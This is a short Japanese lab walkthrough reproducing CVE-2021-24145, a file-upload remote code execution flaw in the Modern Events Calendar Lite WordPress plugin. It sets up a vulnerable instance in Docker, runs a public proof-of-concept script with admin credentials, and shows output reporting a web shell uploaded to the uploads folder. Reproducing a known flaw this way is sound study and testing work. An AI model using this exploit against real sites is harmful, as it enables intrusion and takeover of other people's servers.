
WordPress ファイルアップロード脆弱性、Modern Events Calendar Lite WordPress プラグイン 5.16.5 より前
WordPress ファイルアップロード脆弱性、Modern Events Calendar Lite WordPress プラグイン 5.16.5 未満 https://nvd.nist.gov/vuln/detail/CVE-2021-24145
インストールを進める際、docker-compose.yml ファイルでポートフォワーディングを行ってください。
$ docker-compose up
http://[web-server ip]:port/ に移動します。
基本的なインストールを実行します。
[Plugins] -> [Add New] -> [Upload Plugin] に移動します。
modern-events-calendar-lite.5.16.2.zip をアップロードしてインストールします。
以下の画面はプラグインのインストールが完了した状態です。
インストールが完了したら、プラグインを有効化します。
python3 poc.py -T [URL] -P [PORT] -U [Path] -u [admin] -p [password]
$python3 poc.py -T 172.30.1.48 -P 80 -U / -u 0ppr2s -p 123456
______ _______ ____ ___ ____ _ ____ _ _ _ _ _ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | || || ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_| |_||____/
* Wordpress Plugin Modern Events Calendar Lite RCE
* @Hacker5preme
[+] Authentication successfull !
[+] Shell Uploaded to: http://172.30.1.48:80//wp-content/uploads/shell.php

https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-24145